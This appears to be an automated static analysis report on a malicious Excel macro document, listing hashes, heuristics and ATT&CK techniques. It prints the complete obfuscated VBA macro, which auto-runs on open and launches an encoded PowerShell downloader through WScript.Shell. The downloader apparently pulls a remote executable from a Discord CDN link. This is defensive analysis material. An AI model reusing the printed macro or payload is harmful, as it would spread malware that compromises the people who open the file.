Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 34fb00916049c335…

MALICIOUS

Office (OOXML)

17.9 KB Created: 2021-08-24 13:39:50 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-13
MD5: 477cbcba5fb96bfbeccd4ec8a8ea1edf SHA-1: 4111eea7d46489024811fd7854d1bbf4c40fb153 SHA-256: 34fb00916049c3355a4f6408d3344f03e7298aac649ad2c5b53e5c7795ee18ce
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, indicated by the 'OOXML_VBA' and 'OLE_VBA_WBOPEN' heuristics. The 'OLE_VBA_WSCRIPT' and 'OLE_VBA_CREATEOBJ' firings suggest the macro uses WScript.Shell and CreateObject to execute commands. The 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic confirms an auto-execution macro is present and uses these objects. The reconstructed string from the VBA macro likely contains a URL or command for downloading and executing a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    mzetpmupvqnldaagkdvsib = "WSCript.shell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set mabdmlmfyrcqnzw = CreateObject(mzetpmupvqnldaagkdvsib)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7782 bytes
SHA-256: c5742e54e64295bf252c661d9d609233b6264970d8798589ae5c3830466522a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub workbook_open()
wbj.fy
fddgd = sdfs

End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "wbj"
Sub HelloWorld()
 MsgBox "bv bvmn!", vbInformation + vbOKOnly, "l;j;j;ljguig"
End Sub
Sub fy()
kxwm = oiup(221) & oiup(231) & oiup(190) & oiup(154) & oiup(169) & oiup(221) & oiup(154) & oiup(234) & oiup(201) & oiup(216) & oiup(209) & oiup(216) & oiup(223) & oiup(204) & oiup(237) & oiup(216) & oiup(226) & oiup(223) & oiup(216) & oiup(198) & oiup(230) & oiup(154) & oiup(167) & oiup(191) & oiup(154)
kxwm = kxwm & "WwBTAFkAUwBUAEUATQAuAHQARQBYAHQALgBFAG4AYwBvAEQASQBuAEcAXQA6ADoAVQBuAGkAQwBvAGQARQAuAEcARQBUAHMAdABSAEkATgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBOAFYARQBSAFQAXQA6ADoAZgByAE8AbQBCAGEAUwBFADYANABzAHQAUgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASw"
kxwm = kxwm & "BBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAdwBBAFoAdwBCAHQAQQBHAGsAQQBkAEEAQgAyAEEARwAwAEEAYgBRAEIAMwBBAEcAOABBAGMAUQBCAHgAQQBIAFUAQQBiAHcAQgBtAEEARwBNAEEAWgBBAEIAbQBBAEgAUQBBAFkAUQBCAHkAQQBHAHMAQQBkAFEAQgBrAEEASABVAEEAYgBRAEIAbwBBAEcAMABBAEkAQQBBAG8AQQBDAEEAQQBKAEEAQgA1AEEARwBNAEEAYwBBAEIAdABBAEgATQBBAGUAQQBCAHUAQQBIAFkAQQBaAGcAQgAxAEEARwA4AEEAWgBBAEIAcABBAEcAdwBBAGIAQQBCAHcAQQBHAFkAQQBaAGcAQQBnAEEAQwB3AEEASQBBAEEAawBBAEgAVQBBAFoAQQBCAHgAQQBIAFUAQQBlAGcAQgBsAEEARwBnAEEAYwBRAEIAdABBAEcASQBBAGIAUQBCAHAAQQBHADQAQQBaAHcAQgB1AEEARwBFAEEAYgB3AEIAMABBAEgAbwBBAEkAQQBBAHAAQQBB"
kxwm = kxwm & "ADAAQQBDAGcAQgA3AEEAQwBBAEEAYQBRAEIAdABBAEgAQQBBAGIAdwBCAHkAQQBGAFEAQQBMAFEAQgBOAEEARQA4AEEAWgBBAEIAVgBBAEUAdwBBAFIAUQBBAGcAQQBFAEkAQQBTAFEAQgAwAEEASABNAEEAVgBBAEIAUwBBAEcARQBBAGIAZwBCAHoAQQBHAFkAQQBaAFEAQgB5AEEARABzAEEARABRAEEASwBBAEYATQBBAFYAQQBCAEIAQQBGAEkAQQBkAEEAQQB0AEEARQBJAEEAYQBRAEIAVQBBAEgATQBBAFYAQQBCAHkAQQBFAEUAQQBUAGcAQgBUAEEARwBZAEEAUgBRAEIAeQBBAEMAQQBBAEwAUQBCAFQAQQBHADgAQQBkAFEAQgB5AEEARwBNAEEAUgBRAEEAZwBBAEMAUQBBAGUAUQBCAGoAQQBIAEEAQQBiAFEAQgB6AEEASABnAEEAYgBnAEIAMgBBAEcAWQBBAGQAUQBCAHYAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYwBBAEIAbQBBAEcAWQBBAEkAQQBBAHQAQQBHAFEAQQBaAFEAQgBUAEEARgBRAE"
kxwm = kxwm & "EAUwBRAEIATwBBAEcARQBBAFYAQQBCAEoAQQBHADgAQQBUAGcAQQBnAEEAQwBRAEEAZABRAEIAawBBAEgARQBBAGQAUQBCADYAQQBHAFUAQQBhAEEAQgB4AEEARwAwAEEAWQBnAEIAdABBAEcAawBBAGIAZwBCAG4AQQBHADQAQQBZAFEAQgB2AEEASABRAEEAZQBnAEEANwBBAEMAQQBBAEoAZwBBAGcAQQBDAFEAQQBkAFEAQgBrAEEASABFAEEAZABRAEIANgBBAEcAVQBBAGEAQQBCAHgAQQBHADAAQQBZAGcAQgB0AEEARwBrAEEAYgBnAEIAbgBBAEcANABBAFkAUQBCAHYAQQBIAFEAQQBlAGcAQQA3AEEAQwBBAEEAZgBRAEIAMABBAEgASQBBAGUAUQBCADcAQQBDAFEAQQBiAEEAQgBrAEEARwBRAEEAWQBnAEIAMgBBAEcASQBBAFoAdwBCAHUAQQBIAGcAQQBkAEEAQgB5AEEARwBjAEEAWQB3AEIAMABBAEgAawBBAGMAUQBCAHgAQQBIAFEAQQBjAFEAQgByAEEARwBFAEEAUABRAEEAawBBAEcAVQBBAGIA"
kxwm = kxwm & "ZwBCADIAQQBEAG8AQQBWAEEAQgBsAEEARQAwAEEAVQBBAEEAcgBBAEMAYwBBAFgAQQBCADIAQQBHADgAQQBjAGcAQgAyAEEASABnAEEAWQB3AEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBPAHcAQQBOAEEAQQBvAEEAYgBBAEIAbgBBAEcAMABBAGEAUQBCADAAQQBIAFkAQQBiAFEAQgB0AEEASABjAEEAYgB3AEIAeABBAEgARQBBAGQAUQBCAHYAQQBHAFkAQQBZAHcAQgBrAEEARwBZAEEAZABBAEIAaABBAEgASQBBAGEAdwBCADEAQQBHAFEAQQBkAFEAQgB0AEEARwBnAEEAYgBRAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFoAQQBCAHUAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAWQB3AEIAdgBBAEgASQBBAFoAQQBCAGgAQQBIAEEAQQBjAEEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAFkAUQBCADAAQQBIAFEAQQBZAFEAQg"
kxwm = kxwm & "BqAEEARwBnAEEAYgBRAEIAbABBAEcANABBAGQAQQBCAHoAQQBDADgAQQBPAEEAQQAzAEEARABjAEEATwBRAEEANABBAEQATQBBAE0AUQBBAHgAQQBEAGMAQQBOAHcAQQB4AEEARABFAEEATwBRAEEAeQBBAEQARQBBAE0AZwBBAHcAQQBEAE0AQQBMAHcAQQA0AEEARABjAEEATwBRAEEAMwBBAEQASQBBAE0AUQBBAHoAQQBEAE0AQQBPAFEAQQAwAEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE0AZwBBAHkAQQBEAEUAQQBPAEEAQQB2AEEASABZAEEAWgBnAEIAMgBBAEQAWQBBAFEAUQBCAEIAQQBHADAAQQBjAEEAQQB6AEEARwA4AEEAVwBRAEEAMQBBAEQARQBBAFMAdwBCAFcAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGIAQQBCAGsAQQBHAFEAQQBZAGcAQgAyAEEARwBJAEEAWgB3AEIAdQBBAEgAZwBBAGQAQQBCAHkAQQBHAGMAQQBZAHcAQgAwAEEASABrAEEAYwBRAEIAeABB"
kxwm = kxwm & "AEgAUQBBAGMAUQBCAHIAQQBHAEUAQQBPAHcAQQBOAEEAQQBvAEEAYgBBAEIAbgBBAEcAMABBAGEAUQBCADAAQQBIAFkAQQBiAFEAQgB0AEEASABjAEEAYgB3AEIAeABBAEgARQBBAGQAUQBCAHYAQQBHAFkAQQBZAHcAQgBrAEEARwBZAEEAZABBAEIAaABBAEgASQBBAGEAdwBCADEAQQBHAFEAQQBkAFEAQgB0AEEARwBnAEEAYgBRAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFoAQQBCAHUAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAWQB3AEIAdgBBAEgASQBBAFoAQQBCAGgAQQBIAEEAQQBjAEEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAFkAUQBCADAAQQBIAFEAQQBZAFEAQgBqAEEARwBnAEEAYgBRAEIAbABBAEcANABBAGQAQQBCAHoAQQBDADgAQQBPAEEAQQAzAEEARABjAEEATwBRAEEANABBAEQATQBBAE0AUQBBAHgAQQBEAG"
kxwm = kxwm & "MAQQBOAHcAQQB4AEEARABFAEEATwBRAEEAeQBBAEQARQBBAE0AZwBBAHcAQQBEAE0AQQBMAHcAQQA0AEEARABjAEEATwBRAEEAMwBBAEQASQBBAE0AUQBBAHoAQQBEAE0AQQBPAFEAQQAwAEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE0AZwBBAHkAQQBEAEUAQQBPAEEAQQB2AEEASABZAEEAWgBnAEIAMgBBAEQAWQBBAFEAUQBCAEIAQQBHADAAQQBjAEEAQQB6AEEARwA4AEEAVwBRAEEAMQBBAEQARQBBAFMAdwBCAFcAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGIAQQBCAGsAQQBHAFEAQQBZAGcAQgAyAEEARwBJAEEAWgB3AEIAdQBBAEgAZwBBAGQAQQBCAHkAQQBHAGMAQQBZAHcAQgAwAEEASABrAEEAYwBRAEIAeABBAEgAUQBBAGMAUQBCAHIAQQBHAEUAQQBPAHcAQQBOAEEAQQBvAEEAYgBBAEIAbgBBAEcAMABBAGEAUQBCADAAQQBIAFkAQQBiAFEAQgB0AEEASABjAEEA"
kxwm = kxwm & "YgB3AEIAeABBAEgARQBBAGQAUQBCAHYAQQBHAFkAQQBZAHcAQgBrAEEARwBZAEEAZABBAEIAaABBAEgASQBBAGEAdwBCADEAQQBHAFEAQQBkAFEAQgB0AEEARwBnAEEAYgBRAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFoAQQBCAHUAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAWQB3AEIAdgBBAEgASQBBAFoAQQBCAGgAQQBIAEEAQQBjAEEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAFkAUQBCADAAQQBIAFEAQQBZAFEAQgBqAEEARwBnAEEAYgBRAEIAbABBAEcANABBAGQAQQBCAHoAQQBDADgAQQBPAEEAQQAzAEEARABjAEEATwBRAEEANABBAEQATQBBAE0AUQBBAHgAQQBEAGMAQQBOAHcAQQB4AEEARABFAEEATwBRAEEAeQBBAEQARQBBAE0AZwBBAHcAQQBEAE0AQQBMAHcAQQA0AEEARABjAEEATwBRAEEAMwBBAEQASQBBAE0AUQ"
kxwm = kxwm & "BBAHoAQQBEAE0AQQBPAFEAQQAwAEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE0AZwBBAHkAQQBEAEUAQQBPAEEAQQB2AEEASABZAEEAWgBnAEIAMgBBAEQAWQBBAFEAUQBCAEIAQQBHADAAQQBjAEEAQQB6AEEARwA4AEEAVwBRAEEAMQBBAEQARQBBAFMAdwBCAFcAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGIAQQBCAGsAQQBHAFEAQQBZAGcAQgAyAEEARwBJAEEAWgB3AEIAdQBBAEgAZwBBAGQAQQBCAHkAQQBHAGMAQQBZAHcAQgAwAEEASABrAEEAYwBRAEIAeABBAEgAUQBBAGMAUQBCAHIAQQBHAEUAQQBPAHcAQQBOAEEAQQBvAEEAZgBRAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQA9AD0AIgApACkAfABJAEUAeAA="


On Error Resume Next
kzwdgcsiliiogvylrygwa = kxwm
mmnok (kzwdgcsiliiogvylrygwa)
End Sub
Function mmnok(szlcrjvkgoqljhkwrkjrhddoghiruj As String)
kroyvlpazakak = 22 - 22
hgfh = "guhuioo ytuygy mbvmnbkiu"
mzetpmupvqnldaagkdvsib = "WSCript.shell"
Set mabdmlmfyrcqnzw = CreateObject(mzetpmupvqnldaagkdvsib)
rgduzadifhaqxyeljawhovxwjbdq = mabdmlmfyrcqnzw.Run(szlcrjvkgoqljhkwrkjrhddoghiruj, kroyvlpazakak)
End Function
Function oiup(fdsg As Variant)
hfgdfh = "gffhgfg  dfsafd fdssdge4"
oiup = Chr(fdsg - 122)
bvxcvd = "vxcn nmvm kuk et ,nbn hhfgd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: 99a6557528bccdc72ff79bbb56f919fecd88a5a98dbf4804fd0c0a4db2b8a570
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).

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